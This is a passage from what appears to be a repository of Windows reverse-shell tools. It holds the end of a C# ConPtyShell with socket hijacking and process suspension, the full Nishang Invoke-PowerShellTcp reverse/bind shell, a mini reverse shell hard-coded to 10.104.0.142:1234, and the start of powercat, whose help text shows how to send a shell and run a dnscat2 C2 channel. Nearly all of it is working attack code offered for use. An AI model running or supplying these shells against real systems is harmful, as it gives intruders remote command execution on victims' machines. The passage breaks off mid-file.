(IntPtr)threadParameters[1]; 1400 | IntPtr hChildProcess = (IntPtr)threadParameters[2]; 1401 | int bufferSize = 8192; 1402 | bool writeSuccess = false; 1403 | Int32 nBytesReceived = 0; 1404 | uint bytesWritten = 0; 1405 | bool socketBlockingOperation = false; 1406 | IntPtr wsaReadEvent = WSACreateEvent(); 1407 | // we expect the socket to be non-blocking at this point. we create an asynch event to be signaled when the recv operation is ready to get some data 1408 | WSAEventSelect(shellSocket, wsaReadEvent, FD_READ); 1409 | IntPtr[] wsaEventsArray = new IntPtr[] { wsaReadEvent }; 1410 | do 1411 | { 1412 | byte[] bytesReceived = new byte[bufferSize]; 1413 | WSAWaitForMultipleEvents(wsaEventsArray.Length, wsaEventsArray, true, 500, false); 1414 | nBytesReceived = recv(shellSocket, bytesReceived, bufferSize, 0); 1415 | // we still check WSAEWOULDBLOCK for a more robust implementation 1416 | if (WSAGetLastError() == WSAEWOULDBLOCK) 1417 | { 1418 | socketBlockingOperation = true; 1419 | continue; 1420 | } 1421 | WSAResetEvent(wsaReadEvent); 1422 | socketBlockingOperation = false; 1423 | // Console.WriteLine("debug: ThreadReadSocketWritePipe recv: nBytesReceived = " + nBytesReceived + " WSAGetLastError() = " + WSAGetLastError().ToString()); 1424 | writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero); 1425 | // Console.WriteLine("debug ThreadReadSocketWritePipe WriteFile: bytesWritten = " + bytesWritten + " Marshal.GetLastWin32Error() = " + Marshal.GetLastWin32Error()); 1426 | } while (socketBlockingOperation || (nBytesReceived > 0 && writeSuccess)); 1427 | WSACloseEvent(wsaReadEvent); 1428 | TerminateProcess(hChildProcess, 0); 1429 | } 1430 | 1431 | private static Thread StartThreadReadSocketWritePipe(IntPtr InputPipeWrite, IntPtr shellSocket, IntPtr hChildProcess, bool overlappedSocket) 1432 | { 1433 | object[] threadParameters = new object[3]; 1434 | threadParameters[0] = InputPipeWrite; 1435 | threadParameters[1] = shellSocket; 1436 | threadParameters[2] = hChildProcess; 1437 | Thread thReadSocketWritePipe; 1438 | if(overlappedSocket) 1439 | thReadSocketWritePipe = new Thread(ThreadReadSocketWritePipeOverlapped); 1440 | else 1441 | thReadSocketWritePipe = new Thread(ThreadReadSocketWritePipeNonOverlapped); 1442 | thReadSocketWritePipe.Start(threadParameters); 1443 | return thReadSocketWritePipe; 1444 | } 1445 | 1446 | public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine, bool upgradeShell) 1447 | { 1448 | IntPtr shellSocket = IntPtr.Zero; 1449 | IntPtr InputPipeRead = IntPtr.Zero; 1450 | IntPtr InputPipeWrite = IntPtr.Zero; 1451 | IntPtr OutputPipeRead = IntPtr.Zero; 1452 | IntPtr OutputPipeWrite = IntPtr.Zero; 1453 | IntPtr handlePseudoConsole = IntPtr.Zero; 1454 | IntPtr oldStdIn = IntPtr.Zero; 1455 | IntPtr oldStdOut = IntPtr.Zero; 1456 | IntPtr oldStdErr = IntPtr.Zero; 1457 | bool newConsoleAllocated = false; 1458 | bool parentSocketInherited = false; 1459 | bool grandParentSocketInherited = false; 1460 | bool conptyCompatible = false; 1461 | bool IsSocketOverlapped = true; 1462 | string output = ""; 1463 | Process currentProcess = null; 1464 | Process parentProcess = null; 1465 | Process grandParentProcess = null; 1466 | if (GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") != IntPtr.Zero) 1467 | conptyCompatible = true; 1468 | PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION(); 1469 | CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite); 1470 | // comment the below function to debug errors 1471 | InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr); 1472 | // init wsastartup stuff for this thread 1473 | InitWSAThread(); 1474 | if (conptyCompatible) 1475 | { 1476 | Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell\r\n"); 1477 | if (upgradeShell) 1478 | { 1479 | List socketsHandles = new List(); 1480 | currentProcess = Process.GetCurrentProcess(); 1481 | parentProcess = ParentProcessUtilities.GetParentProcess(currentProcess.Handle); 1482 | if (parentProcess != null) grandParentProcess = ParentProcessUtilities.GetParentProcess(parentProcess.Handle); 1483 | // try to duplicate the socket for the current process 1484 | shellSocket = SocketHijacking.DuplicateTargetProcessSocket(currentProcess, ref IsSocketOverlapped); 1485 | if (shellSocket == IntPtr.Zero && parentProcess != null) 1486 | { 1487 | // if no sockets are found in the current process we try to hijack our current parent process socket 1488 | shellSocket = SocketHijacking.DuplicateTargetProcessSocket(parentProcess, ref IsSocketOverlapped); 1489 | if (shellSocket == IntPtr.Zero && grandParentProcess != null) 1490 | { 1491 | // damn, even the parent process has no usable sockets, let's try a last desperate attempt in the grandparent process 1492 | shellSocket = SocketHijacking.DuplicateTargetProcessSocket(grandParentProcess, ref IsSocketOverlapped); 1493 | if (shellSocket == IntPtr.Zero) 1494 | { 1495 | throw new ConPtyShellException("No \\Device\\Afd objects found. Socket duplication failed."); 1496 | } 1497 | else 1498 | { 1499 | grandParentSocketInherited = true; 1500 | } 1501 | } 1502 | else 1503 | { 1504 | // gotcha a usable socket from the parent process, let's see if the grandParent also use the socket 1505 | parentSocketInherited = true; 1506 | if (grandParentProcess != null) grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess); 1507 | } 1508 | } 1509 | else 1510 | { 1511 | // the current process got a usable socket, let's see if the parents use the socket 1512 | if (parentProcess != null) parentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, parentProcess); 1513 | if (grandParentProcess != null) grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess); 1514 | } 1515 | } 1516 | else 1517 | { 1518 | shellSocket = connectRemote(remoteIp, remotePort); 1519 | if (shellSocket == IntPtr.Zero) 1520 | { 1521 | output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); 1522 | return output; 1523 | } 1524 | TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols); 1525 | } 1526 | if (GetConsoleWindow() == IntPtr.Zero) 1527 | { 1528 | AllocConsole(); 1529 | ShowWindow(GetConsoleWindow(), SW_HIDE); 1530 | newConsoleAllocated = true; 1531 | } 1532 | // debug code for checking handle duplication 1533 | // Console.WriteLine("debug: Creating pseudo console..."); 1534 | // Thread.Sleep(180000); 1535 | // return ""; 1536 | int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols); 1537 | if (pseudoConsoleCreationResult != 0) 1538 | { 1539 | output += string.Format("{0}Could not create psuedo console. Error Code {1}", errorString, pseudoConsoleCreationResult.ToString()); 1540 | return output; 1541 | } 1542 | childProcessInfo = CreateChildProcessWithPseudoConsole(handlePseudoConsole, commandLine); 1543 | } 1544 | else 1545 | { 1546 | if (upgradeShell) 1547 | { 1548 | output += string.Format("Could not upgrade shell to fully interactive because ConPTY is not compatible on this system"); 1549 | return output; 1550 | } 1551 | shellSocket = connectRemote(remoteIp, remotePort); 1552 | if (shellSocket == IntPtr.Zero) 1553 | { 1554 | output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); 1555 | return output; 1556 | } 1557 | Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n"); 1558 | STARTUPINFO sInfo = new STARTUPINFO(); 1559 | sInfo.cb = Marshal.SizeOf(sInfo); 1560 | sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES; 1561 | sInfo.hStdInput = InputPipeRead; 1562 | sInfo.hStdOutput = OutputPipeWrite; 1563 | sInfo.hStdError = OutputPipeWrite; 1564 | CreateProcess(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo); 1565 | } 1566 | // Note: We can close the handles to the PTY-end of the pipes here 1567 | // because the handles are dup'ed into the ConHost and will be released 1568 | // when the ConPTY is destroyed. 1569 | if (InputPipeRead != IntPtr.Zero) CloseHandle(InputPipeRead); 1570 | if (OutputPipeWrite != IntPtr.Zero) CloseHandle(OutputPipeWrite); 1571 | if (upgradeShell) { 1572 | // we need to suspend other processes that can interact with the duplicated sockets if any. This will ensure stdin, stdout and stderr is read/write only by our conpty process 1573 | if (parentSocketInherited) NtSuspendProcess(parentProcess.Handle); 1574 | if (grandParentSocketInherited) NtSuspendProcess(grandParentProcess.Handle); 1575 | if (!IsSocketOverlapped) SocketHijacking.SetSocketBlockingMode(shellSocket, 1); 1576 | } 1577 | //Threads have better performance than Tasks 1578 | Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket(OutputPipeRead, shellSocket, IsSocketOverlapped); 1579 | Thread thReadSocketWritePipe = StartThreadReadSocketWritePipe(InputPipeWrite, shellSocket, childProcessInfo.hProcess, IsSocketOverlapped); 1580 | // wait for the child process until exit 1581 | WaitForSingleObject(childProcessInfo.hProcess, INFINITE); 1582 | //cleanup everything 1583 | thThreadReadPipeWriteSocket.Abort(); 1584 | thReadSocketWritePipe.Abort(); 1585 | if (upgradeShell) 1586 | { 1587 | if (!IsSocketOverlapped) 1588 | { 1589 | // cancelling the event selection for the socket 1590 | WSAEventSelect(shellSocket, IntPtr.Zero, 0); 1591 | SocketHijacking.SetSocketBlockingMode(shellSocket, 0); 1592 | } 1593 | if (parentSocketInherited) NtResumeProcess(parentProcess.Handle); 1594 | if (grandParentSocketInherited) NtResumeProcess(grandParentProcess.Handle); 1595 | } 1596 | closesocket(shellSocket); 1597 | RestoreStdHandles(oldStdIn, oldStdOut, oldStdErr); 1598 | if (newConsoleAllocated) 1599 | FreeConsole(); 1600 | CloseHandle(childProcessInfo.hThread); 1601 | CloseHandle(childProcessInfo.hProcess); 1602 | if (handlePseudoConsole != IntPtr.Zero) ClosePseudoConsole(handlePseudoConsole); 1603 | if (InputPipeWrite != IntPtr.Zero) CloseHandle(InputPipeWrite); 1604 | if (OutputPipeRead != IntPtr.Zero) CloseHandle(OutputPipeRead); 1605 | output += "ConPtyShell kindly exited.\r\n"; 1606 | return output; 1607 | } 1608 | } 1609 | 1610 | public static class ConPtyShellMainClass 1611 | { 1612 | private static string help = @""; 1613 | 1614 | private static bool HelpRequired(string param) 1615 | { 1616 | return param == "-h" || param == "--help" || param == "/?"; 1617 | } 1618 | 1619 | private static void CheckArgs(string[] arguments) 1620 | { 1621 | if (arguments.Length < 2) 1622 | throw new ConPtyShellException("\r\nConPtyShell: Not enough arguments. 2 Arguments required. Use --help for additional help.\r\n"); 1623 | } 1624 | 1625 | private static void DisplayHelp() 1626 | { 1627 | Console.Out.Write(help); 1628 | } 1629 | 1630 | private static string CheckRemoteIpArg(string ipString) 1631 | { 1632 | IPAddress address; 1633 | if (!IPAddress.TryParse(ipString, out address)) 1634 | throw new ConPtyShellException("\r\nConPtyShell: Invalid remoteIp value" + ipString); 1635 | return ipString; 1636 | } 1637 | 1638 | private static int CheckInt(string arg) 1639 | { 1640 | int ret = 0; 1641 | if (!Int32.TryParse(arg, out ret)) 1642 | throw new ConPtyShellException("\r\nConPtyShell: Invalid integer value " + arg); 1643 | return ret; 1644 | } 1645 | 1646 | private static uint ParseRows(string[] arguments) 1647 | { 1648 | uint rows = 24; 1649 | if (arguments.Length > 2) 1650 | rows = (uint)CheckInt(arguments[2]); 1651 | return rows; 1652 | } 1653 | 1654 | private static uint ParseCols(string[] arguments) 1655 | { 1656 | uint cols = 80; 1657 | if (arguments.Length > 3) 1658 | cols = (uint)CheckInt(arguments[3]); 1659 | return cols; 1660 | } 1661 | 1662 | private static string ParseCommandLine(string[] arguments) 1663 | { 1664 | string commandLine = "powershell.exe"; 1665 | if (arguments.Length > 4) 1666 | commandLine = arguments[4]; 1667 | return commandLine; 1668 | } 1669 | 1670 | public static string ConPtyShellMain(string[] args) 1671 | { 1672 | string output = ""; 1673 | if (args.Length == 1 && HelpRequired(args[0])) 1674 | { 1675 | DisplayHelp(); 1676 | } 1677 | else 1678 | { 1679 | string remoteIp = ""; 1680 | int remotePort = 0; 1681 | bool upgradeShell = false; 1682 | try 1683 | { 1684 | CheckArgs(args); 1685 | if (args[0].Contains("upgrade")) 1686 | upgradeShell = true; 1687 | else 1688 | { 1689 | remoteIp = CheckRemoteIpArg(args[0]); 1690 | remotePort = CheckInt(args[1]); 1691 | } 1692 | uint rows = ParseRows(args); 1693 | uint cols = ParseCols(args); 1694 | string commandLine = ParseCommandLine(args); 1695 | output = ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine, upgradeShell); 1696 | } 1697 | catch (Exception e) 1698 | { 1699 | Console.WriteLine("\n" + e.ToString() + "\n"); 1700 | } 1701 | } 1702 | return output; 1703 | } 1704 | } 1705 | 1706 | 1707 | class MainClass 1708 | { 1709 | static void Main(string[] args) 1710 | { 1711 | Console.Out.Write(ConPtyShellMainClass.ConPtyShellMain(args)); 1712 | } 1713 | } 1714 | 1715 | "@; -------------------------------------------------------------------------------- /Powershell/Invoke-PowerShellTcp.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-PowerShellTcp 2 | { 3 | <# 4 | .SYNOPSIS 5 | Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. 6 | 7 | .DESCRIPTION 8 | This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. 9 | Also, a standard netcat can connect to this script Bind to a specific port. 10 | 11 | The script is derived from Powerfun written by Ben Turner & Dave Hardy 12 | 13 | .PARAMETER IPAddress 14 | The IP address to connect to when using the -Reverse switch. 15 | 16 | .PARAMETER Port 17 | The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens. 18 | 19 | .EXAMPLE 20 | PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 21 | 22 | Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on 23 | the given IP and port. 24 | 25 | .EXAMPLE 26 | PS > Invoke-PowerShellTcp -Bind -Port 4444 27 | 28 | Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. 29 | 30 | .EXAMPLE 31 | PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444 32 | 33 | Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be 34 | listening on the given IP and port. 35 | 36 | .LINK 37 | http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html 38 | https://github.com/nettitude/powershell/blob/master/powerfun.ps1 39 | https://github.com/samratashok/nishang 40 | #> 41 | [CmdletBinding(DefaultParameterSetName="reverse")] Param( 42 | 43 | [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] 44 | [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] 45 | [String] 46 | $IPAddress, 47 | 48 | [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] 49 | [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] 50 | [Int] 51 | $Port, 52 | 53 | [Parameter(ParameterSetName="reverse")] 54 | [Switch] 55 | $Reverse, 56 | 57 | [Parameter(ParameterSetName="bind")] 58 | [Switch] 59 | $Bind 60 | 61 | ) 62 | 63 | 64 | try 65 | { 66 | #Connect back if the reverse switch is used. 67 | if ($Reverse) 68 | { 69 | $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) 70 | } 71 | 72 | #Bind to the provided port if Bind switch is used. 73 | if ($Bind) 74 | { 75 | $listener = [System.Net.Sockets.TcpListener]$Port 76 | $listener.start() 77 | $client = $listener.AcceptTcpClient() 78 | } 79 | 80 | $stream = $client.GetStream() 81 | [byte[]]$bytes = 0..65535|%{0} 82 | 83 | #Send back current username and computername 84 | $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") 85 | $stream.Write($sendbytes,0,$sendbytes.Length) 86 | 87 | #Show an interactive PowerShell prompt 88 | $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') 89 | $stream.Write($sendbytes,0,$sendbytes.Length) 90 | 91 | while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) 92 | { 93 | $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding 94 | $data = $EncodedText.GetString($bytes,0, $i) 95 | try 96 | { 97 | #Execute the command on the target. 98 | $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) 99 | } 100 | catch 101 | { 102 | Write-Warning "Something went wrong with execution of command on the target." 103 | Write-Error $_ 104 | } 105 | $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' 106 | $x = ($error[0] | Out-String) 107 | $error.clear() 108 | $sendback2 = $sendback2 + $x 109 | 110 | #Return the results 111 | $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) 112 | $stream.Write($sendbyte,0,$sendbyte.Length) 113 | $stream.Flush() 114 | } 115 | $client.Close() 116 | if ($listener) 117 | { 118 | $listener.Stop() 119 | } 120 | } 121 | catch 122 | { 123 | Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 124 | Write-Error $_ 125 | } 126 | } 127 | 128 | -------------------------------------------------------------------------------- /Powershell/mini-reverse.ps1: -------------------------------------------------------------------------------- 1 | $socket = new-object System.Net.Sockets.TcpClient('10.104.0.142', 1234); 2 | if($socket -eq $null){exit 1} 3 | $stream = $socket.GetStream(); 4 | $writer = new-object System.IO.StreamWriter($stream); 5 | $buffer = new-object System.Byte[] 1024; 6 | $encoding = new-object System.Text.AsciiEncoding; 7 | do{ 8 | $writer.Write("> "); 9 | $writer.Flush(); 10 | $read = $null; 11 | while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){} 12 | $out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n",""); 13 | if(!$out.equals("exit")){ 14 | $out = $out.split(' ') 15 | $res = [string](&$out[0] $out[1..$out.length]); 16 | if($res -ne $null){ $writer.WriteLine($res)} 17 | } 18 | }While (!$out.equals("exit")) 19 | $writer.close();$socket.close(); -------------------------------------------------------------------------------- /Powershell/powercat.ps1: -------------------------------------------------------------------------------- 1 | function powercat 2 | { 3 | param( 4 | [alias("Client")][string]$c="", 5 | [alias("Listen")][switch]$l=$False, 6 | [alias("Port")][Parameter(Position=-1)][string]$p="", 7 | [alias("Execute")][string]$e="", 8 | [alias("ExecutePowershell")][switch]$ep=$False, 9 | [alias("Relay")][string]$r="", 10 | [alias("UDP")][switch]$u=$False, 11 | [alias("dnscat2")][string]$dns="", 12 | [alias("DNSFailureThreshold")][int32]$dnsft=10, 13 | [alias("Timeout")][int32]$t=60, 14 | [Parameter(ValueFromPipeline=$True)][alias("Input")]$i=$null, 15 | [ValidateSet('Host', 'Bytes', 'String')][alias("OutputType")][string]$o="Host", 16 | [alias("OutputFile")][string]$of="", 17 | [alias("Disconnect")][switch]$d=$False, 18 | [alias("Repeater")][switch]$rep=$False, 19 | [alias("GeneratePayload")][switch]$g=$False, 20 | [alias("GenerateEncoded")][switch]$ge=$False, 21 | [alias("Help")][switch]$h=$False 22 | ) 23 | 24 | ############### HELP ############### 25 | $Help = " 26 | powercat - Netcat, The Powershell Version 27 | Github Repository: https://github.com/besimorhino/powercat 28 | 29 | This script attempts to implement the features of netcat in a powershell 30 | script. It also contains extra features such as built-in relays, execute 31 | powershell, and a dnscat2 client. 32 | 33 | Usage: powercat [-c or -l] [-p port] [options] 34 | 35 | -c Client Mode. Provide the IP of the system you wish to connect to. 36 | If you are using -dns, specify the DNS Server to send queries to. 37 | 38 | -l Listen Mode. Start a listener on the port specified by -p. 39 | 40 | -p Port. The port to connect to, or the port to listen on. 41 | 42 | -e Execute. Specify the name of the process to start. 43 | 44 | -ep Execute Powershell. Start a pseudo powershell session. You can 45 | declare variables and execute commands, but if you try to enter 46 | another shell (nslookup, netsh, cmd, etc.) the shell will hang. 47 | 48 | -r Relay. Used for relaying network traffic between two nodes. 49 | Client Relay Format: -r :: 50 | Listener Relay Format: -r : 51 | DNSCat2 Relay Format: -r dns::: 52 | 53 | -u UDP Mode. Send traffic over UDP. Because it's UDP, the client 54 | must send data before the server can respond. 55 | 56 | -dns DNS Mode. Send traffic over the dnscat2 dns covert channel. 57 | Specify the dns server to -c, the dns port to -p, and specify the 58 | domain to this option, -dns. This is only a client. 59 | Get the server here: https://github.com/iagox86/dnscat2 60 | 61 | -dnsft DNS Failure Threshold. This is how many bad packets the client can 62 | recieve before exiting. Set to zero when receiving files, and set high 63 | for more stability over the internet. 64 | 65 | -t Timeout. The number of seconds to wait before giving up on listening or 66 | connecting. Default: 60 67 | 68 | -i Input. Provide data to be sent down the pipe as soon as a connection is 69 | established. Used for moving files. You can provide the path to a file, 70 | a byte array object, or a string. You can also pipe any of those into 71 | powercat, like 'aaaaaa' | powercat -c 10.1.1.1 -p 80 72 | 73 | -o Output. Specify how powercat should return information to the console. 74 | Valid options are 'Bytes', 'String', or 'Host'. Default is 'Host'. 75 | 76 | -of Output File. Specify the path to a file to write output to. 77 | 78 | -d Disconnect. powercat will disconnect after the connection is established 79 | and the input from -i is sent. Used for scanning. 80 | 81 | -rep Repeater. powercat will continually restart after it is disconnected. 82 | Used for setting up a persistent server. 83 | 84 | -g Generate Payload. Returns a script as a string which will execute the 85 | powercat with the options you have specified. -i, -d, and -rep will not 86 | be incorporated. 87 | 88 | -ge Generate Encoded Payload. Does the same as -g, but returns a string which 89 | can be executed in this way: powershell -E 90 | 91 | -h Print this help message. 92 | 93 | Examples: 94 | 95 | Listen on port 8000 and print the output to the console. 96 | powercat -l -p 8000 97 | 98 | Connect to 10.1.1.1 port 443, send a shell, and enable verbosity. 99 | powercat -c 10.1.1.1 -p 443 -e cmd -v 100 | 101 | Connect to the dnscat2 server on c2.example.com, and send dns queries 102 | to the dns server on 10.1.1.1 port 53. 103 | powercat -c 10.1.1.1 -p 53 -dns c2.example.com 104 | 105 | Send a file to 10.1.1.15 port 8000. 106 | powercat -c 10.1.1.15 -p 8000 -i C:\inputfile 107 | 108 | Write the data sent to the local listener on port 4444 to C:\outfile 109 | powercat -l -p 4444 -of C:\outfile 110 | 111 | Listen on port 8000 and repeatedly server a powershell shell. 112 | powercat -l -p 8000 -ep -rep 113 | 114 | Relay traffic coming in on port 8000 over tcp to port 9000 on 10.1.1.1 over tcp. 115 | powercat -l -p 8000 -r tcp:10.1.1.1:9000 116 | 117 | Relay traffic coming in on port 8000 over tcp to the dnscat2 server on c2.example.com, 118 | sending queries to 10.1.1.1 port 53. 119 | powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com 120 | " 121 | if($h){return $Help} 122 | ############### HELP ############### 123 | 124 | ############### VALIDATE ARGS ############### 125 | $global:Verbose = $Verbose 126 | if($of -ne ''){$o = 'Bytes'} 127 | if($dns -eq "") 128 | { 129 | if((($c -eq "") -and (!$l)) -or (($c -ne "") -and $l)){return "You must select either client mode (-c) or listen mode (-l)."} 130 | if($p -eq ""){return "Please provide a port number to -p."} 131 | } 132 | if(((($r -ne "") -and ($e -ne "")) -or (($e -ne "") -and ($ep))) -or (($r -ne "") -and ($ep))){return "You can only pick one of these: -e, -ep, -r"} 133 | if(($i -ne $null) -and (($r -ne "") -or ($e -ne ""))){return "-i is not applicable here."} 134 | if($l) 135 | { 136 | $Failure = $False 137 | netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $p){Write-Output ("The selected port " + $p + " is already in use.") ; $Failure=$True}} 138 | if($Failure){break} 139 | } 140 | if($r -ne "") 141 | { 142 | if($r.split(":").Count -eq 2) 143 | { 144 | $Failure = $False 145 | netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $r.split(":")[1]){Write-Output ("The selected port " + $r.split(":")[1] + " is already in use.") ; $Failure=$True}} 146 | if($Failure){break} 147 | } 148 | } 149 | ############### VALIDATE ARGS ############### 150 | 151 | ############### UDP FUNCTIONS ############### 152 | function Setup_UDP 153 | { 154 | param($FuncSetupVars) 155 | if($global:Verbose){$Verbose = $True} 156 | $c,$l,$p,$t = $FuncSetupVars 157 | $FuncVars = @{} 158 | $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding 159 | if($l) 160 | { 161 | $SocketDestinationBuffer = New-Object System.Byte[] 65536 162 | $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Any), $p 163 | $FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient $p 164 | $PacketInfo = New-Object System.Net.Sockets.IPPacketInformation 165 | Write-Verbose ("Listening on [0.0.0.0] port " + $p + " [udp]") 166 | $ConnectHandle = $FuncVars["Socket"].Client.BeginReceiveMessageFrom($SocketDestinationBuffer,0,65536,[System.Net.Sockets.SocketFlags]::None,[ref]$EndPoint,$null,$null) 167 | $Stopwatch = [System.Diagnostics.Stopwatch]::StartNew() 168 | while($True) 169 | { 170 | if($Host.UI.RawUI.KeyAvailable) 171 | { 172 | if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown,IncludeKeyUp").VirtualKeyCode)) 173 | { 174 | Write-Verbose "CTRL or ESC caught. Stopping UDP Setup..." 175 | $FuncVars["Socket"].Close() 176 | $Stopwatch.Stop() 177 | break 178 | } 179 | } 180 | if($Stopwatch.Elapsed.TotalSeconds -gt $t) 181 | { 182 | $FuncVars["Socket"].Close() 183 | $Stopwatch.Stop() 184 | Write-Verbose "Timeout!" ; break 185 | } 186 | if($ConnectHandle.IsCompleted) 187 | { 188 | $SocketBytesRead = $FuncVars["Socket"].Client.EndReceiveMessageFrom($ConnectHandle,[ref]([System.Net.Sockets.SocketFlags]::None),[ref]$EndPoint,[ref]$PacketInfo) 189 | Write-Verbose ("Connection from [" + $EndPoint.Address.IPAddressToString + "] port " + $p + " [udp] accepted (source port " + $EndPoint.Port + ")") 190 | if($SocketBytesRead -gt 0){break} 191 | else{break} 192 | } 193 | } 194 | $Stopwatch.Stop() 195 | $FuncVars["InitialConnectionBytes"] = $SocketDestinationBuffer[0..([int]$SocketBytesRead-1)] 196 | } 197 | else 198 | { 199 | if(!$c.Contains(".")) 200 | { 201 | $IPList = @() 202 | [System.Net.Dns]::GetHostAddresses($c) | Where-Object {$_.AddressFamily -eq "InterNetwork"} | %{$IPList += $_.IPAddressToString} 203 | Write-Verbose ("Name " + $c + " resolved to address " + $IPList[0]) 204 | $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPList[0])), $p 205 | } 206 | else 207 | { 208 | $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($c)), $p 209 | } 210 | $FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient 211 | $FuncVars["Socket"].Connect($c,$p) 212 | Write-Verbose ("Sending UDP traffic to " + $c + " port " + $p + "...") 213 | Write-Verbose ("UDP: Make sure to send some data so the server can notice you!") 214 | } 215 | $FuncVars["BufferSize"] = 65536 216 | $FuncVars["EndPoint"] = $EndPoint 217 | $FuncVars["StreamDestinationBuffer"] = New-Object System.Byte[] $FuncVars["BufferSize"] 218 | $FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null) 219 | return $FuncVars 220 | } 221 | function ReadData_UDP 222 | { 223 | param($FuncVars) 224 | $Data = $null 225 | if($FuncVars["StreamReadOperation"].IsCompleted) 226 | { 227 | $StreamBytesRead = $FuncVars["Socket"].Client.EndReceiveFrom($FuncVars["StreamReadOperation"],[ref]$FuncVars["EndPoint"]) 228 | if($StreamBytesRead -eq 0){break} 229 | $Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)] 230 | $FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null) 231 | } 232 | return $Data,$FuncVars 233 | } 234 | function WriteData_UDP 235 | { 236 | param($Data,$FuncVars) 237 | $FuncVars["Socket"].Client.SendTo($Data,$FuncVars["EndPoint"]) | Out-Null 238 | return $FuncVars 239 | } 240 | function Close_UDP 241 | { 242 | param($FuncVars) 243 | $FuncVars["Socket"].Close() 244 | } 245 | ############### UDP FUNCTIONS ############### 246 | 247 | ############### DNS FUNCTIONS ############### 248 | function Setup_DNS 249 | { 250 | param($FuncSetupVars) 251 | if($global:Verbose){$Verbose = $True} 252 | function ConvertTo-HexArray 253 | { 254 | param($String) 255 | $Hex = @() 256 | $String.ToCharArray() | % {"{0:x}" -f [byte]$_} | % {if($_.Length -eq 1){"0" + [string]$_} else{[string]$_}} | % {$Hex += $_} 257 | return $Hex 258 | } 259 | 260 | function SendPacket 261 | { 262 | param($Packet,$DNSServer,$DNSPort) 263 | $Command = ("set type=TXT`nserver $DNSServer`nset port=$DNSPort`nset domain=.com`nset retry=1`n" + $Packet + "`nexit") 264 | $result = ($Command | nslookup 2>&1 | Out-String) 265 | if($result.Contains('"')){return ([regex]::Match($result.replace("bio=",""),'(?<=")[^"]*(?=")').Value)} 266 | else{return 1} 267 | } 268 | 269 | function Create_SYN 270 | { 271 | param($SessionId,$SeqNum,$Tag,$Domain) 272 | return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "00" + $SessionId + $SeqNum + "0000" + $Domain) 273 | } 274 | 275 | function 